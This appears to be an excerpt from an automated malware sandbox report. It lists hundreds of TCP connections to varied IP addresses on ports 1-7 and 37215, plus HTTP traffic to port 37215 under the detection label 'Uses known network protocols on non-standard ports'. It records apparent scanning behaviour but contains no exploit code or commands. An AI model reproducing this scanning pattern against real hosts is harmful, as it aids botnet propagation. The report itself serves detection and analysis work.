Source: global traffic	TCP traffic: 41.187.93.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.159.243.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.78.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.51.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.82.207.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.88.155.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.42.100.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.37.164.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.89.118.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.239.146.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.24.222.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.251.166.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.205.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.251.12.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.141.115.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.162.23.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.186.45.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.14.137.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.70.241.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.172.233.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.66.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.148.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.47.27.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.182.67.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.208.232.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.169.104.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.196.5.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.251.157.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.233.72.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.24.113.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.13.212.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.233.61.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.252.167.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.8.224.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.11.131.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.159.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.16.186.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.247.78.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.128.117.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.54.31.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.222.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.234.54.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.177.65.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.98.107.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.119.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.26.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.143.127.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.95.181.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.243.129.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.142.28.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.220.56.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.172.224.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.12.237.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.41.240.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.235.244.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.40.240.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.230.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.181.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.86.194.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.156.164.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.162.125.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.39.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.155.214.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.39.61.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.224.24.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.59.164.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.88.164.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.1.36.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.225.164.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.89.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.226.79.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.254.64.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.211.32.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.254.75.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.181.190.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.121.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.97.66.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.254.121.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.63.107.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.195.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.37.224.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.126.78.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.8.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.16.247.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.60.138.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.191.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.120.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.20.37.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.100.220.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.3.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.173.203.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.177.145.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.218.187.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.254.38.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.7.178.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.156.115.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.36.170.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.1.145.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.10.207.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.93.72.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.96.241.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.29.56.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.44.147.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.59.249.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.16.23.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.218.70.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.239.15.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.139.201.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.66.38.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.218.150.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.173.240.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.122.226.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.88.94.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.199.121.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.211.163.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.101.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.40.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.195.230.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.197.143.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.108.41.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.168.26.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.108.75.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.211.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.51.120.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.9.116.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.24.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.37.248.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.203.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.13.58.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.244.26.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.55.239.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.146.129.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.108.22.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.219.91.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.89.84.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.132.215.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.228.217.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.86.232.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.47.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.236.132.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.222.169.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.205.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.98.243.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.145.125.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.124.247.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.134.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.67.90.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.147.105.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.77.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.252.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.141.101.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.43.189.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.103.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.146.88.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.177.58.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.151.44.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.27.80.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.222.141.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.116.93.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.208.181.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.248.19.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.151.19.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.12.177.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.159.103.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.129.168.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.38.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.151.95.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.217.239.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.109.142.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.126.221.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.18.224.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.168.226.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.85.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.154.90.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.58.77.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.56.98.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.246.103.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.6.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.107.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.89.219.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.153.54.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.225.127.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.216.74.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.158.150.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.106.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.45.188.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.139.155.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.252.39.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.26.38.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.46.136.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.199.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.47.93.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.64.87.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.107.222.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.132.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.77.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.48.85.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.157.251.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.255.139.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.48.194.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.54.8.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.8.30.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.167.194.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.115.244.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.83.129.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.25.242.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.242.239.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.239.243.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.3.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.76.50.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.12.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.173.229.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.13.39.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.150.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.108.229.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.90.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.187.212.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.233.139.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.121.61.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.229.176.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.54.138.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.163.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.39.54.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.120.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.182.70.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.58.33.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.76.197.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.137.125.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.41.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.157.162.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.123.197.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.235.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.151.59.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.121.189.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.165.89.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.87.130.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.119.202.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.88.186.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.196.218.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.119.132.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.171.143.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.55.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.116.5.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.224.182.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.49.159.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.6.193.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.200.61.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.111.188.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.8.74.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.236.39.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.87.222.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.157.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.69.215.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.21.236.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.96.31.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.102.16.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.30.9.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.59.131.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.0.95.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.55.5.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.194.144.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.102.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.28.163.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.204.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.49.199.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.148.147.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.12.233.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.58.186.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.235.231.188 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36550 -> 37215
